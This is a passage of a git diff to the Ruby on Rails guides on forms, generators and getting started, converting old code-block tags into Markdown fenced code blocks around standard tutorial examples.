has_many :addresses
accepts_nested_attributes_for :addresses, :allow_destroy => true
end
-</ruby>
+```
If the hash of attributes for an object contains the key +_destroy+ with a value of '1' or 'true' then the object will be destroyed. This form allows users to remove addresses:
-<erb>
+```erb
<%= form_for @person do |f| %>
Addresses:
<ul>
@@ -925,18 +925,18 @@ If the hash of attributes for an object contains the key +_destroy+ with a value
<% end %>
</ul>
<% end %>
-</erb>
+```
h4. Preventing Empty Records
It is often useful to ignore sets of fields that the user has not filled in. You can control this by passing a +:reject_if+ proc to +accepts_nested_attributes_for+. This proc will be called with each hash of attributes submitted by the form. If the proc returns +false+ then Active Record will not build an associated object for that hash. The example below only tries to build an address if the +kind+ attribute is set.
-<ruby>
+```ruby
class Person < ActiveRecord::Base
has_many :addresses
accepts_nested_attributes_for :addresses, :reject_if => lambda {|attributes| attributes['kind'].blank?}
end
-</ruby>
+```
As a convenience you can instead pass the symbol +:all_blank+ which will create a proc that will reject records where all the attributes are blank excluding any value for +_destroy+.
diff --git a/guides/source/generators.md b/guides/source/generators.md
index 2e9ab0526d..38599c30f6 100644
--- a/guides/source/generators.md
+++ b/guides/source/generators.md
@@ -20,17 +20,17 @@ h3. First Contact
When you create an application using the +rails+ command, you are in fact using a Rails generator. After that, you can get a list of all available generators by just invoking +rails generate+:
-<shell>
+```shell
$ rails new myapp
$ cd myapp
$ rails generate
-</shell>
+```
You will get a list of all generators that comes with Rails. If you need a detailed description of the helper generator, for example, you can simply do:
-<shell>
+```shell
$ rails generate helper --help
-</shell>
+```
h3. Creating Your First Generator
@@ -38,13 +38,13 @@ Since Rails 3.0, generators are built on top of "Thor":https://github.com/wycats
The first step is to create a file at +lib/generators/initializer_generator.rb+ with the following content:
-<ruby>
+```ruby
class InitializerGenerator < Rails::Generators::Base
def create_initializer_file
create_file "config/initializers/initializer.rb", "# Add initialization content here"
end
end
-</ruby>
+```
NOTE: +create_file+ is a method provided by +Thor::Actions+. Documentation for +create_file+ and other Thor methods can be found in "Thor's documentation":http://rdoc.info/github/wycats/thor/master/Thor/Actions.html
@@ -52,26 +52,26 @@ Our new generator is quite simple: it inherits from +Rails::Generators::Base+ an
To invoke our new generator, we just need to do:
-<shell>
+```shell
$ rails generate initializer
-</shell>
+```
Before we go on, let's see our brand new generator description:
-<shell>
+```shell
$ rails generate initializer --help
-</shell>
+```
Rails is usually able to generate good descriptions if a generator is namespaced, as +ActiveRecord::Generators::ModelGenerator+, but not in this particular case. We can solve this problem in two ways. The first one is calling +desc+ inside our generator:
-<ruby>
+```ruby
class InitializerGenerator < Rails::Generators::Base
desc "This generator creates an initializer file at config/initializers"
def create_initializer_file
create_file "config/initializers/initializer.rb", "# Add initialization content here"
end
end
-</ruby>
+```
Now we can see the new description by invoking +--help+ on the new generator. The second way to add a description is by creating a file named +USAGE+ in the same directory as our generator. We are going to do that in the next step.
@@ -79,43 +79,43 @@ h3. Creating Generators with Generators
Generators themselves have a generator:
-<shell>
+```shell
$ rails generate generator initializer
create lib/generators/initializer
create lib/generators/initializer/initializer_generator.rb
create lib/generators/initializer/USAGE
create lib/generators/initializer/templates
-</shell>
+```
This is the generator just created:
-<ruby>
+```ruby
class InitializerGenerator < Rails::Generators::NamedBase
source_root File.expand_path("../templates", __FILE__)
end
-</ruby>
+```
First, notice that we are inheriting from +Rails::Generators::NamedBase+ instead of +Rails::Generators::Base+. This means that our generator expects at least one argument, which will be the name of the initializer, and will be available in our code in the variable +name+.
We can see that by invoking the description of this new generator (don't forget to delete the old generator file):
-<shell>
+```shell
$ rails generate initializer --help
Usage:
rails generate initializer NAME [options]
-</shell>
+```
We can also see that our new generator has a class method called +source_root+. This method points to where our generator templates will be placed, if any, and by default it points to the created directory +lib/generators/initializer/templates+.
In order to understand what a generator template means, let's create the file +lib/generators/initializer/templates/initializer.rb+ with the following content:
-<ruby>
+```ruby
# Add initialization content here
-</ruby>
+```
And now let's change the generator to copy this template when invoked:
-<ruby>
+```ruby
class InitializerGenerator < Rails::Generators::NamedBase
source_root File.expand_path("../templates", __FILE__)
@@ -123,13 +123,13 @@ class InitializerGenerator < Rails::Generators::NamedBase
copy_file "initializer.rb", "config/initializers/#{file_name}.rb"
end
end
-</ruby>
+```
And let's execute our generator:
-<shell>
+```shell
$ rails generate initializer core_extensions
-</shell>
+```
We can see that now an initializer named core_extensions was created at +config/initializers/core_extensions.rb+ with the contents of our template. That means that +copy_file+ copied a file in our source root to the destination path we gave. The method +file_name+ is automatically created when we inherit from +Rails::Generators::NamedBase+.
@@ -139,12 +139,12 @@ h3. Generators Lookup
When you run +rails generate initializer core_extensions+ Rails requires these files in turn until one is found:
-<shell>
+```shell
rails/generators/initializer/initializer_generator.rb
generators/initializer/initializer_generator.rb
rails/generators/initializer_generator.rb
generators/initializer_generator.rb
-</shell>
+```
If none is found you get an error message.
@@ -154,17 +154,17 @@ h3. Customizing Your Workflow
Rails own generators are flexible enough to let you customize scaffolding. They can be configured in +config/application.rb+, these are some defaults:
-<ruby>
+```ruby
config.generators do |g|
g.orm :active_record
g.template_engine :erb
g.test_framework :test_unit, :fixture => true
end
-</ruby>
+```
Before we customize our workflow, let's first see what our scaffold looks like:
-<shell>
+```shell
$ rails generate scaffold User name:string
invoke active_record
create db/migrate/20091120125558_create_users.rb
@@ -190,32 +190,32 @@ $ rails generate scaffold User name:string
create test/unit/helpers/users_helper_test.rb
invoke stylesheets
create app/assets/stylesheets/scaffold.css
-</shell>
+```
Looking at this output, it's easy to understand how generators work in Rails 3.0 and above. The scaffold generator doesn't actually generate anything, it just invokes others to do the work. This allows us to add/replace/remove any of those invocations. For instance, the scaffold generator invokes the scaffold_controller generator, which invokes erb, test_unit and helper generators. Since each generator has a single responsibility, they are easy to reuse, avoiding code duplication.
Our first customization on the workflow will be to stop generating stylesheets and test fixtures for scaffolds. We can achieve that by changing our configuration to the following:
-<ruby>
+```ruby
config.generators do |g|
g.orm :active_record
g.template_engine :erb
g.test_framework :test_unit, :fixture => false
g.stylesheets false
end
-</ruby>
+```
If we generate another resource with the scaffold generator, we can see that neither stylesheets nor fixtures are created anymore. If you want to customize it further, for example to use DataMapper and RSpec instead of Active Record and TestUnit, it's just a matter of adding their gems to your application and configuring your generators.
To demonstrate this, we are going to create a new helper generator that simply adds some instance variable readers. First, we create a generator within the rails namespace, as this is where rails searches for generators used as hooks:
-<shell>
+```shell
$ rails generate generator rails/my_helper
-</shell>
+```
After that, we can delete both the +templates+ directory and the +source_root+ class method from our new generators, because we are not going to need them. So our new generator looks like the following:
-<ruby>
+```ruby
class Rails::MyHelperGenerator < Rails::Generators::NamedBase
def create_helper_file
create_file "app/helpers/#{file_name}_helper.rb", <<-FILE
@@ -225,25 +225,25 @@ end
FILE
end
end
-</ruby>
+```
We can try out our new generator by creating a helper for users:
-<shell>
+```shell
$ rails generate my_helper products
-</shell>
+```
And it will generate the following helper file in +app/helpers+:
-<ruby>
+```ruby
module ProductsHelper
attr_reader :products, :product
end
-</ruby>
+```
Which is what we expected. We can now tell scaffold to use our new helper generator by editing +config/application.rb+ once again:
-<ruby>
+```ruby
config.generators do |g|
g.orm :active_record
g.template_engine :erb
@@ -251,16 +251,16 @@ config.generators do |g|
g.stylesheets false
g.helper :my_helper
end
-</ruby>
+```
and see it in action when invoking the generator:
-<shell>
+```shell
$ rails generate scaffold Post body:text
[...]
invoke my_helper
create app/helpers/posts_helper.rb
-</shell>
+```
We can notice on the output that our new helper was invoked instead of the Rails default. However one thing is missing, which is tests for our new generator and to do that, we are going to reuse old helpers test generators.
@@ -268,7 +268,7 @@ Since Rails 3.0, this is easy to do due to the hooks concept. Our new helper doe
To do that, we can change the generator this way:
-<ruby>
+```ruby
class Rails::MyHelperGenerator < Rails::Generators::NamedBase
def create_helper_file
create_file "app/helpers/#{file_name}_helper.rb", <<-FILE
@@ -280,14 +280,14 @@ end
hook_for :test_framework
end
-</ruby>
+```
Now, when the helper generator is invoked and TestUnit is configured as the test framework, it will try to invoke both +Rails::TestUnitGenerator+ and +TestUnit::MyHelperGenerator+. Since none of those are defined, we can tell our generator to invoke +TestUnit::Generators::HelperGenerator+ instead, which is defined since it's a Rails generator. To do that, we just need to add:
-<ruby>
+```ruby
# Search for :helper instead of :my_helper
hook_for :test_framework, :as => :helper
-</ruby>
+```
And now you can re-run scaffold for another resource and see it generating tests as well!
@@ -297,22 +297,22 @@ In the step above we simply wanted to add a line to the generated helper, withou
In Rails 3.0 and above, generators don't just look in the source root for templates, they also search for templates in other paths. And one of them is +lib/templates+. Since we want to customize +Rails::Generators::HelperGenerator+, we can do that by simply making a template copy inside +lib/templates/rails/helper+ with the name +helper.rb+. So let's create that file with the following content:
-<erb>
+```erb
module <%= class_name %>Helper
attr_reader :<%= plural_name %>, <%= plural_name.singularize %>
end
-</erb>
+```
and revert the last change in +config/application.rb+:
-<ruby>
+```ruby
config.generators do |g|
g.orm :active_record
g.template_engine :erb
g.test_framework :test_unit, :fixture => false
g.stylesheets false
end
-</ruby>
+```
If you generate another resource, you can see that we get exactly the same result! This is useful if you want to customize your scaffold templates and/or layout by just creating +edit.html.erb+, +index.html.erb+ and so on inside +lib/templates/erb/scaffold+.
@@ -322,7 +322,7 @@ One last feature about generators which is quite useful for plugin generators is
We can easily simulate this behavior by changing our +config/application.rb+ once again:
-<ruby>
+```ruby
config.generators do |g|
g.orm :active_record
g.template_engine :erb
@@ -332,11 +332,11 @@ config.generators do |g|
# Add a fallback!
g.fallbacks[:shoulda] = :test_unit
end
-</ruby>
+```
Now, if you create a Comment scaffold, you will see that the shoulda generators are being invoked, and at the end, they are just falling back to TestUnit generators:
-<shell>
+```shell
$ rails generate scaffold Comment body:text
invoke active_record
create db/migrate/20091120151323_create_comments.rb
@@ -361,7 +361,7 @@ $ rails generate scaffold Comment body:text
create app/helpers/comments_helper.rb
invoke shoulda
create test/unit/helpers/comments_helper_test.rb
-</shell>
+```
Fallbacks allow your generators to have a single responsibility, increasing code reuse and reducing the amount of duplication.
@@ -369,7 +369,7 @@ h3. Application Templates
Now that you've seen how generators can be used _inside_ an application, did you know they can also be used to _generate_ applications too? This kind of generator is referred as a "template".
-<ruby>
+```ruby
gem("rspec-rails", :group => "test")
gem("cucumber-rails", :group => "test")
@@ -380,23 +380,23 @@ if yes?("Would you like to install Devise?")
model_name = "user" if model_name.blank?
generate("devise", model_name)
end
-</ruby>
+```
In the above template we specify that the application relies on the +rspec-rails+ and +cucumber-rails+ gem so these two will be added to the +test+ group in the +Gemfile+. Then we pose a question to the user about whether or not they would like to install Devise. If the user replies "y" or "yes" to this question, then the template will add Devise to the +Gemfile+ outside of any group and then runs the +devise:install+ generator. This template then takes the users input and runs the +devise+ generator, with the user's answer from the last question being passed to this generator.
Imagine that this template was in a file called +template.rb+. We can use it to modify the outcome of the +rails new+ command by using the +-m+ option and passing in the filename:
-<shell>
+```shell
$ rails new thud -m template.rb
-</shell>
+```
This command will generate the +Thud+ application, and then apply the template to the generated output.
Templates don't have to be stored on the local system, the +-m+ option also supports online templates:
-<shell>
+```shell
$ rails new thud -m https://gist.github.com/722911.txt
-</shell>
+```
Whilst the final section of this guide doesn't cover how to generate the most awesome template known to man, it will take you through the methods available at your disposal so that you can develop it yourself. These same methods are also available for generators.
@@ -410,10 +410,10 @@ h4. +gem+
Specifies a gem dependency of the application.
-<ruby>
+```ruby
gem("rspec", :group => "test", :version => "2.1.0")
gem("devise", "1.1.5")
-</ruby>
+```
Available options are:
@@ -423,52 +423,52 @@ Available options are:
Any additional options passed to this method are put on the end of the line:
-<ruby>
+```ruby
gem("devise", :git => "git://github.com/plataformatec/devise", :branch => "master")
-</ruby>
+```
The above code will put the following line into +Gemfile+:
-<ruby>
+```ruby
gem "devise", :git => "git://github.com/plataformatec/devise", :branch => "master"
-</ruby>
+```
h4. +gem_group+
Wraps gem entries inside a group:
-<ruby>
+```ruby
gem_group :development, :test do
gem "rspec-rails"
end
-</ruby>
+```
h4. +add_source+
Adds a specified source to +Gemfile+:
-<ruby>
+```ruby
add_source "http://gems.github.com"
-</ruby>
+```
h4. +inject_into_file+
Injects a block of code into a defined position in your file.
-<ruby>
+```ruby
inject_into_file 'name_of_file.rb', :after => "#The code goes below this line. Don't forget the Line break at the end\n" do <<-'RUBY'
puts "Hello World"
RUBY
end
-</ruby>
+```
h4. +gsub_file+
Replaces text inside a file.
-<ruby>
+```ruby
gsub_file 'name_of_file.rb', 'method.to_be_replaced', 'method.the_replacing_code'
-</ruby>
+```
Regular Expressions can be used to make this method more precise. You can also use append_file and prepend_file in the same way to place code at the beginning and end of a file respectively.
@@ -476,38 +476,38 @@ h4. +application+
Adds a line to +config/application.rb+ directly after the application class definition.
-<ruby>
+```ruby
application "config.asset_host = 'http://example.com'"
-</ruby>
+```
This method can also take a block:
-<ruby>
+```ruby
application do
"config.asset_host = 'http://example.com'"
end
-</ruby>
+```
Available options are:
* +:env+ - Specify an environment for this configuration option. If you wish to use this option with the block syntax the recommended syntax is as follows:
-<ruby>
+```ruby
application(nil, :env => "development") do
"config.asset_host = 'http://localhost:3000'"
end
-</ruby>
+```
h4. +git+
Runs the specified git command:
-<ruby>
+```ruby
git :init
git :add => "."
git :commit => "-m First commit!"
git :add => "onefile.rb", :rm => "badfile.cxx"
-</ruby>
+```
The values of the hash here being the arguments or options passed to the specific git command. As per the final example shown here, multiple git commands can be specified at a time, but the order of their running is not guaranteed to be the same as the order that they were specified in.
@@ -515,45 +515,45 @@ h4. +vendor+
Places a file into +vendor+ which contains the specified code.
-<ruby>
+```ruby
vendor("sekrit.rb", '#top secret stuff')
-</ruby>
+```
This method also takes a block:
-<ruby>
+```ruby
vendor("seeds.rb") do
"puts 'in ur app, seeding ur database'"
end
-</ruby>
+```
h4. +lib+
Places a file into +lib+ which contains the specified code.
-<ruby>
+```ruby
lib("special.rb", 'p Rails.root')
-</ruby>
+```
This method also takes a block:
-<ruby>
+```ruby
lib("super_special.rb") do
puts "Super special!"
end
-</ruby>
+```
h4. +rakefile+
Creates a Rake file in the +lib/tasks+ directory of the application.
-<ruby>
+```ruby
rakefile("test.rake", 'hello there')
-</ruby>
+```
This method also takes a block:
-<ruby>
+```ruby
rakefile("test.rake") do
%Q{
task :rock => :environment do
@@ -561,40 +561,40 @@ rakefile("test.rake") do
end
}
end
-</ruby>
+```
h4. +initializer+
Creates an initializer in the +config/initializers+ directory of the application:
-<ruby>
+```ruby
initializer("begin.rb", "puts 'this is the beginning'")
-</ruby>
+```
This method also takes a block:
-<ruby>
+```ruby
initializer("begin.rb") do
puts "Almost done!"
end
-</ruby>
+```
h4. +generate+
Runs the specified generator where the first argument is the generator name and the remaining arguments are passed directly to the generator.
-<ruby>
+```ruby
generate("scaffold", "forums title:string description:text")
-</ruby>
+```
h4. +rake+
Runs the specified Rake task.
-<ruby>
+```ruby
rake("db:migrate")
-</ruby>
+```
Available options are:
@@ -605,22 +605,22 @@ h4. +capify!+
Runs the +capify+ command from Capistrano at the root of the application which generates Capistrano configuration.
-<ruby>
+```ruby
capify!
-</ruby>
+```
h4. +route+
Adds text to the +config/routes.rb+ file:
-<ruby>
+```ruby
route("resources :people")
-</ruby>
+```
h4. +readme+
Output the contents of a file in the template's +source_path+, usually a README.
-<ruby>
+```ruby
readme("README")
-</ruby>
+```
diff --git a/guides/source/getting_started.md b/guides/source/getting_started.md
index 226c3dce14..d39263a086 100644
--- a/guides/source/getting_started.md
+++ b/guides/source/getting_started.md
@@ -75,9 +75,9 @@ h4. Installing Rails
To install Rails, use the +gem install+ command provided by RubyGems:
-<shell>
+```shell
# gem install rails
-</shell>
+```
TIP. A number of tools exist to help you quickly install Ruby and Ruby
on Rails on your system. Windows users can use "Rails
@@ -86,9 +86,9 @@ Installer":http://railsinstaller.org, while Mac OS X users can use
To verify that you have everything installed correctly, you should be able to run the following:
-<shell>
+```shell
$ rails --version
-</shell>
+```
If it says something like "Rails 3.2.3" you are ready to continue.
@@ -98,9 +98,9 @@ Rails comes with a number of generators that are designed to make your developme
To use this generator, open a terminal, navigate to a directory where you have rights to create files, and type:
-<shell>
+```shell
$ rails new blog
-</shell>
+```
This will create a Rails application called Blog in a directory called blog and install the gem dependencies that are already mentioned in +Gemfile+ using +bundle install+.
@@ -109,9 +109,9 @@ application builder accepts by running +rails new -h+.
After you create the blog application, switch to its folder to continue work directly in that application:
-<shell>
+```shell
$ cd blog
-</shell>
+```
The +rails new blog+ command we ran above created a folder in your
working directory called +blog+. The +blog+ directory has a number of
@@ -143,9 +143,9 @@ h4. Starting up the Web Server
You actually have a functional Rails application already. To see it, you need to start a web server on your development machine. You can do this by running:
-<shell>
+```shell
$ rails server
-</shell>
+```
TIP: Compiling CoffeeScript to JavaScript requires a JavaScript runtime and the absence of a runtime will give you an +execjs+ error. Usually Mac OS X and Windows come with a JavaScript runtime installed. Rails adds the +therubyracer+ gem to Gemfile in a commented line for new apps and you can uncomment if you need it. +therubyrhino+ is the recommended runtime for JRuby users and is added by default to Gemfile in apps generated under JRuby. You can investigate about all the supported runtimes at "ExecJS":https://github.com/sstephenson/execjs#readme.
@@ -167,13 +167,13 @@ A view's purpose is to display this information in a human readable format. An i
To create a new controller, you will need to run the "controller" generator and tell it you want a controller called "welcome" with an action called "index", just like this:
-<shell>
+```shell
$ rails generate controller welcome index
-</shell>
+```
Rails will create several files and a route for you.
-<shell>
+```shell
create app/controllers/welcome_controller.rb
route get "welcome/index"
invoke erb
@@ -190,15 +190,15 @@ invoke coffee
create app/assets/javascripts/welcome.js.coffee
invoke scss
create app/assets/stylesheets/welcome.css.scss
-</shell>
+```
Most important of these are of course the controller, located at +app/controllers/welcome_controller.rb+ and the view, located at +app/views/welcome/index.html.erb+.
Open the +app/views/welcome/index.html.erb+ file in your text editor and edit it to contain a single line of code:
-<html>
+```html
<h1>Hello, Rails!</h1>
-</html>
+```
h4. Setting the Application Home Page
@@ -212,7 +212,7 @@ Next, you have to tell Rails where your actual home page is located.
Open the file +config/routes.rb+ in your editor.
-<ruby>
+```ruby
Blog::Application.routes.draw do
get "welcome/index"
@@ -222,13 +222,13 @@ Blog::Application.routes.draw do
# You can have the root of your site routed with "root"
# just remember to delete public/index.html.
# root :to => "welcome#index"
-</ruby>
+```
This is your application's _routing file_ which holds entries in a special DSL (domain-specific language) that tells Rails how to connect incoming requests to controllers and actions. This file contains many sample routes on commented lines, and one of them actually shows you how to connect the root of your site to a specific controller and action. Find the line beginning with +root :to+ and uncomment it. It should look something like the following:
-<ruby>
+```ruby
root :to => "welcome#index"
-</ruby>
+```
The +root :to => "welcome#index"+ tells Rails to map requests to the root of the application to the welcome controller's index action and +get "welcome/index"+ tells Rails to map requests to "http://localhost:3000/welcome/index":http://localhost:3000/welcome/index to the welcome controller's index action. This was created earlier when you ran the controller generator (+rails generate controller welcome index+).
@@ -258,9 +258,9 @@ This is because there is nowhere inside the routes for the application -- define
To do this, you're going to need to create a route inside +config/routes.rb+ file, on a new line between the +do+ and the +end+ for the +draw+ method:
-<ruby>
+```ruby
get "posts/new"
-</ruby>
+```
This route is a super-simple route: it defines a new route that only responds to +GET+ requests, and that the route is at +posts/new+. But how does it know where to go without the use of the +:to+ option? Well, Rails uses a sensible default here: Rails will assume that you want this route to go to the new action inside the posts controller.
@@ -270,16 +270,16 @@ With the route defined, requests can now be made to +/posts/new+ in the applicat
This error is happening because this route need a controller to be defined. The route is attempting to find that controller so it can serve the request, but with the controller undefined, it just can't do that. The solution to this particular problem is simple: you need to create a controller called +PostsController+. You can do this by running this command:
-<shell>
+```shell
$ rails g controller posts
-</shell>
+```
If you open up the newly generated +app/controllers/posts_controller.rb+ you'll see a fairly empty controller:
-<ruby>
+```ruby
class PostsController < ApplicationController
end
-</ruby>
+```
A controller is simply a class that is defined to inherit from +ApplicationController+. It's inside this class that you'll define methods that will become the actions for this controller. These actions will perform CRUD operations on the posts within our system.
@@ -291,10 +291,10 @@ This error indicates that Rails cannot find the +new+ action inside the +PostsCo
To manually define an action inside a controller, all you need to do is to define a new method inside the controller. Open +app/controllers/posts_controller.rb+ and inside the +PostsController+ class, define a +new+ method like this:
-<ruby>
+```ruby
def new
end
-</ruby>
+```
With the +new+ method defined in +PostsController+, if you refresh "http://localhost:3000/posts/new":http://localhost:3000/posts/new you'll see another error:
@@ -320,9 +320,9 @@ The simplest template that would work in this case would be one located at +app/
Go ahead now and create a new file at +app/views/posts/new.html.erb+ and write this content in it:
-<erb>
+```erb
<h1>New Post</h1>
-</erb>
+```
When you refresh "http://localhost:3000/posts/new":http://localhost:3000/posts/new you'll now see that the page has a title. The route, controller, action and view are now working harmoniously! It's time to create the form for a new post.
@@ -332,7 +332,7 @@ To create a form within this template, you will use a <em>form
builder</em>. The primary form builder for Rails is provided by a helper
method called +form_for+. To use this method, add this code into +app/views/posts/new.html.erb+:
-<erb>
+```erb
<%= form_for :post do |f| %>
<p>
<%= f.label :title %><br>
@@ -348,7 +348,7 @@ method called +form_for+. To use this method, add this code into +app/views/post
<%= f.submit %>
</p>
<% end %>
-</erb>
+```
If you refresh the page now, you'll see the exact same form as in the example. Building forms in Rails is really just that easy!
@@ -366,15 +366,15 @@ like this is called "create", and so the form should be pointed to that action.
Edit the +form_for+ line inside +app/views/posts/new.html.erb+ to look like this:
-<erb>
+```erb
<%= form_for :post, :url => { :action => :create } do |f| %>
-</erb>
+```
In this example, a +Hash+ object is passed to the +:url+ option. What Rails will do with this is that it will point the form to the +create+ action of the current controller, the +PostsController+, and will send a +POST+ request to that route. For this to work, you will need to add a route to +config/routes.rb+, right underneath the one for "posts/new":
-<ruby>
+```ruby
post "posts" => "posts#create"
-</ruby>
+```
By using the +post+ method rather than the +get+ method, Rails will define a route that will only respond to POST methods. The POST method is the typical method used by forms all over the web.
@@ -388,7 +388,7 @@ h4. Creating posts
To make the "Unknown action" go away, you can define a +create+ action within the +PostsController+ class in +app/controllers/posts_controller.rb+, underneath the +new+ action:
-<ruby>
+```ruby
class PostsController < ApplicationController
def new
end
@@ -397,25 +397,25 @@ class PostsController < ApplicationController
end
end
-</ruby>
+```
If you re-submit the form now, you'll see another familiar error: a template is missing. That's ok, we can ignore that for now. What the +create+ action should be doing is saving our new post to a database.
When a form is submitted, the fields of the form are sent to Rails as _parameters_. These parameters can then be referenced inside the controller actions, typically to perform a particular task. To see what these parameters look like, change the +create+ action to this:
-<ruby>
+```ruby
def create
render :text => params[:post].inspect
end
-</ruby>
+```
The +render+ method here is taking a very simple hash with a key of +text+ and value of +params[:post].inspect+. The +params+ method is the object which represents the parameters (or fields) coming in from the form. The +params+ method returns a +HashWithIndifferentAccess+ object, which allows you to access the keys of the hash using either strings or symbols. In this situation, the only parameters that matter are the ones from the form.
If you re-submit the form one more time you'll now no longer get the missing template error. Instead, you'll see something that looks like the following:
-<ruby>
+```ruby
{"title"=>"First post!", "text"=>"This is my first post."}
-</ruby>
+```
This action is now displaying the parameters for the post that are coming in from the form. However, this isn't really all that helpful. Yes, you can see the parameters but nothing in particular is being done with them.
@@ -426,9 +426,9 @@ a plural name. Rails provides a generator for creating models, which
most Rails developers tend to use when creating new models.
To create the new model, run this command in your terminal:
-<shell>
+```shell
$ rails generate model Post title:string text:text
-</shell>
+```
With that command we told Rails that we want a +Post+ model, together
with a _title_ attribute of type string, and a _text_ attribute
@@ -459,7 +459,7 @@ order that they were created.
If you look in the +db/migrate/20120419084633_create_posts.rb+ file (remember,
yours will have a slightly different name), here's what you'll find:
-<ruby>
+```ruby
class CreatePosts < ActiveRecord::Migration
def change
create_table :posts do |t|
@@ -470,7 +470,7 @@ class CreatePosts < ActiveRecord::Migration
end
end
end
-</ruby>
+```
The above migration creates a method named +change+ which will be called when you
run this migration. The action defined in this method is also reversible, which
@@ -483,19 +483,19 @@ Migrations":migrations.html guide.
At this point, you can use a rake command to run the migration:
-<shell>
+```shell
$ rake db:migrate
-</shell>
+```
Rails will execute this migration command and tell you it created the Posts
table.
-<shell>
+```shell
== CreatePosts: migrating ====================================================
-- create_table(:posts)
-> 0.0019s
== CreatePosts: migrated (0.0020s) ===========================================
-</shell>
+```
NOTE. Because you're working in the development environment by default, this
command will apply to the database defined in the +development+ section of your
@@ -509,14 +509,14 @@ Back in +posts_controller+, we need to change the +create+ action
to use the new +Post+ model to save the data in the database. Open that file
and change the +create+ action to look like this:
-<ruby>
+```ruby
def create
@post = Post.new(params[:post])
@post.save
redirect_to :action => :show, :id => @post.id
end
-</ruby>
+```
Here's what's going on: every Rails model can be initialized with its
respective attributes, which are automatically mapped to the respective
@@ -535,9 +535,9 @@ If you submit the form again now, Rails will complain about not finding
the +show+ action. That's not very useful though, so let's add the
+show+ action before proceeding. Open +config/routes.rb+ and add the following route:
-<ruby>
+```ruby
get "posts/:id" => "posts#show"
-</ruby>
+```
The special syntax +:id+ tells rails that this route expects an +:id+
parameter, which in our case will be the id of the post. Note that this
@@ -547,11 +547,11 @@ otherwise Rails would not know which action to render.
As we did before, we need to add the +show+ action in the
+posts_controller+ and its respective view.
-<ruby>
+```ruby
def show
@post = Post.find(params[:id])
end
-</ruby>
+```
A couple of things to note. We use +Post.find+ to find the post we're
interested in. We also use an instance variable (prefixed by +@+) to
@@ -561,7 +561,7 @@ variables to the view.
Now, create a new file +app/view/posts/show.html.erb+ with the following
content:
-<erb>
+```erb
<p>
<strong>Title:</strong>
<%= @post.title %>
@@ -571,7 +571,7 @@ content:
<strong>Text:</strong>
<%= @post.text %>
</p>
-</erb>
+```
Finally, if you now go to
"http://localhost:3000/posts/new":http://localhost:3000/posts/new you'll
@@ -584,21 +584,21 @@ h4. Listing all posts
We still need a way to list all our posts, so let's do that. As usual,
we'll need a route placed into +config/routes.rb+:
-<ruby>
+```ruby
get "posts" => "posts#index"
-</ruby>
+```
And an action for that route inside the +PostsController+ in the +app/controllers/posts_controller.rb+ file:
-<ruby>
+```ruby
def index
@posts = Post.all
end
-</ruby>
+```
And then finally a view for this action, located at +app/views/posts/index.html.erb+:
-<erb>
+```erb
<h1>Listing posts</h1>
<table>
@@ -614,7 +614,7 @@ And then finally a view for this action, located at +app/views/posts/index.html.
</tr>
<% end %>
</table>
-</erb>
+```
Now if you go to +http://localhost:3000/posts+ you will see a list of all the posts that you have created.
@@ -625,10 +625,10 @@ navigate through pages.
Open +app/views/welcome/index.html.erb+ and modify it as follows:
-<ruby>
+```ruby
<h1>Hello, Rails!</h1>
<%= link_to "My Blog", :controller => "posts" %>
-</ruby>
+```
The +link_to+ method is one of Rails' built-in view helpers. It creates a
hyperlink based on text to display and where to go - in this case, to the path
@@ -636,23 +636,23 @@ for posts.
Let's add links to the other views as well, starting with adding this "New Post" link to +app/views/posts/index.html.erb+, placing it above the +&lt;table&gt;+ tag:
-<erb>
+```erb
<%= link_to 'New post', :action => :new %>
-</erb>
+```
This link will allow you to bring up the form that lets you create a new post. You should also add a link to this template -- +app/views/posts/new.html.erb+ -- to go back to the +index+ action. Do this by adding this underneath the form in this template:
-<erb>
+```erb
<%= form_for :post do |f| %>
...
<% end %>
<%= link_to 'Back', :action => :index %>
-</erb>
+```
Finally, add another link to the +app/views/posts/show.html.erb+ template to go back to the +index+ action as well, so that people who are viewing a single post can go back and view the whole list again:
-<erb>
+```erb
<p>
<strong>Title:</strong>
<%= @post.title %>
@@ -664,7 +664,7 @@ Finally, add another link to the +app/views/posts/show.html.erb+ template to go
</p>
<%= link_to 'Back', :action => :index %>
-</erb>
+```
TIP: If you want to link to an action in the same controller, you don't
need to specify the +:controller+ option, as Rails will use the current
@@ -678,10 +678,10 @@ h4. Allowing the update of fields
The model file, +app/models/post.rb+ is about as simple as it can get:
-<ruby>
+```ruby
class Post < ActiveRecord::Base
end
-</ruby>
+```
There isn't much to this file - but note that the +Post+ class inherits from
+ActiveRecord::Base+. Active Record supplies a great deal of functionality to
@@ -692,11 +692,11 @@ and the ability to relate multiple models to one another.
Rails includes methods to help you secure some of your model fields.
Open the +app/models/post.rb+ file and edit it:
-<ruby>
+```ruby
class Post < ActiveRecord::Base
attr_accessible :text, :title
end
-</ruby>
+```
This change will ensure that all changes made through HTML forms can edit the content of the text and title fields.
It will not be possible to define any other field value through forms. You can still define them by calling the `field=` method of course.
@@ -707,14 +707,14 @@ h4. Adding Some Validation
Rails includes methods to help you validate the data that you send to models.
Open the +app/models/post.rb+ file and edit it:
-<ruby>
+```ruby
class Post < ActiveRecord::Base
attr_accessible :text, :title
validates :title, :presence => true,
:length => { :minimum => 5 }
end
-</ruby>
+```
These changes will ensure that all posts have a title that is at least five characters long.
Rails can validate a variety of conditions in a model, including the presence or uniqueness of columns, their
@@ -729,7 +729,7 @@ inside the +create+ action. If +@post.save+ fails in this situation, we need to
show the form back to the user. To do this, change the +new+ and +create+
actions inside +app/controllers/posts_controller.rb+ to these:
-<ruby>
+```ruby
def new
@post = Post.new
end
@@ -743,7 +743,7 @@ def create
render 'new'
end
end
-</ruby>
+```
The +new+ action is now creating a new instance variable called +@post+, and
you'll see why that is in just a few moments.
@@ -758,7 +758,7 @@ form, but that's not very useful. You need to tell the user that
something went wrong. To do that, you'll modify
+app/views/posts/new.html.erb+ to check for error messages:
-<erb>
+```erb
<%= form_for :post, :url => { :action => :create } do |f| %>
<% if @post.errors.any? %>
<div id="errorExplanation">
@@ -787,7 +787,7 @@ something went wrong. To do that, you'll modify
<% end %>
<%= link_to 'Back', :action => :index %>
-</erb>
+```
A few things are going on. We check if there are any errors with
+@post.errors.any?+, and in that case we show a list of all
@@ -819,23 +819,23 @@ The first step we'll take is adding a +edit+ action to
Start by adding a route to +config/routes.rb+:
-<ruby>
+```ruby
get "posts/:id/edit" => "posts#edit"
-</ruby>
+```
And then add the controller action:
-<ruby>
+```ruby
def edit
@post = Post.find(params[:id])
end
-</ruby>
+```
The view will contain a form similar to the one we used when creating
